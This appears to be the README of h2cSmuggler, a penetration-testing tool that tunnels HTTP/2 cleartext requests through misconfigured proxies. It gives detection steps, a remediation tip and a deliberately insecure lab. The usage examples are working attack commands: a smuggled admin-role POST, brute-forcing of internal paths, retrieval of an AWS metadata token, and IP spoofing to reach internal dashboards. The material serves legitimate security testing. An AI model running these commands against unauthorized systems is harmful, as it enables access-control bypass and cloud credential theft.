H2Csmuggler - HTTP Request Smuggling Over HTTP/2 Cleartext (H2C)

How to test?

Any proxy endpoint that forwards h2c upgrade headers can be affected. Because h2c is intended to be performed only on cleartext channels, detection on HTTPS services often yields true positives.

By contrast, HTTP services may result in false positives. For example, h2c-enabled proxies may respond to the upgrade instead of forwarding it to an h2c back end.

Use the --scan-list option to test one or more web servers to look for affected proxy_pass endpoints. Consider using a list of directories discovered from directory enumeration, such as:

urls.txt

https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...

Run h2cSmuggler with the list of endpoints and a total number of threads:

./h2csmuggler.py --scan-list urls.txt --threads 5

Or, an individual test can be performed with:

./h2csmuggler.py -x https://www.example.com/api/ --test

Detecting with other popular tools:

Burp Extension (Active Scan check) Nuclei-Template (Coming soon! Requires this issue to be fixed)

Exploitation

Once you have identified an affected endpoint that can be used for tunneling, you can now access or brute-force internal endpoints on the back-end server and provide custom verbs or headers. In the demo below, we demonstrate accessing an internal /flag endpoint by using h2c smuggling to bypass proxy deny rules.

To remediate, do not forward user-supplied values for Upgrade or Connection headers. See the technical post for additional guidance.

Install Instructions

The only dependency is the Python hyper-h2 library:

Test Environment and Demo

The test environment will allow you to experiment with h2cSmuggler in a controlled environment. docker-compose will simulate three chains of proxies that lead to an h2c-enabled Golang back end:

TCP port: Description
======== ===========
8000: HTTP h2c backend
8001: HAProxy -> h2c backend (Insecure default configuration)
8002: nginx -> h2c backend (Insecure custom configuration)
8003: Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)

[1] Generate Certificates and spin up the environment with docker-compose:

All of the proxies deny access to the /flag endpoint accessible on the h2c back end. Let's attempt to access the forbidden endpoint via the HAProxy server running on port 8001:

We can use h2cSmuggler to confirm the proxy's insecure configuration using --test (or -t):

Now, let's use h2cSmuggler to perform an h2c upgrade, tunnel our HTTP/2 traffic through the proxy, and request the /flag endpoint from the back end, bypassing the proxy's access control:

For a deeper explanation of what is happening, check out the technical writeup.

Usage

h2cSmuggler uses a familiar curl-like syntax for describing the smuggled request:

Examples

1. Scanning a list of URLs (e.g., https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) to identify proxy_pass endpoints that are susceptible to smuggling (be careful with thread counts when testing a single server):

./h2csmuggler.py --scan-list urls.txt --threads 5

2. Sending a smuggled POST request past https://edgeserver to an internal endpoint:

./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions

3. Brute-forcing internal endpoints (using HTTP/2 multiplexing), where dirs.txt represents a list of paths (e.g., /api/, /admin/).

/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

4. Exploiting Host header SSRF over h2c smuggling (e.g., AWS metadata IMDSv2):

Retrieving the token:

./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`

Transmitting the token:

./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/

5. Spoofing an IP address with the X-Forwarded-For header to access an internal dashboard:

./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard

FAQ

Q: Why are there multiple responses from the server?

A: The first response is the data response to the original upgrade request initiated in HTTP/1.1, per the h2c upgrade protocol. The following responses are from the smuggled request.

Q: I received a "101 Switching Protocols" but I'm not receiving any data from the remote server.

A: I observed this behavior in my tests and found that some servers respond with a 101 status even if they do not actually support HTTP/2.

Q: Is establishing an h2c tunnel always a vulnerability?

A: No. Consider a TLS-terminating TCP load balancer (e.g., ELB) proxying directly to an h2c-compatible back end. Although you may be able to establish an h2c connection, if there are no access controls being enforced, then there are no access controls to bypass, or privilege gained by initiating this tunnel.

Q: Why does the smuggled request URI require a scheme? What is it used for?

A: The HTTP/2 protocol requires a :scheme psuedo-header. For our use case, http vs. https likely doesn't matter. For more details, see HTTP/2 RFC: Section 8.1.2.3.

Q: What should I use as the hostname for the back-end server?

A: It's best to start with the same hostname as the edge server. Next, try experimenting with alternative hostname values.

Author

Twitter: @theBumbleSec

GitHub: the-bumble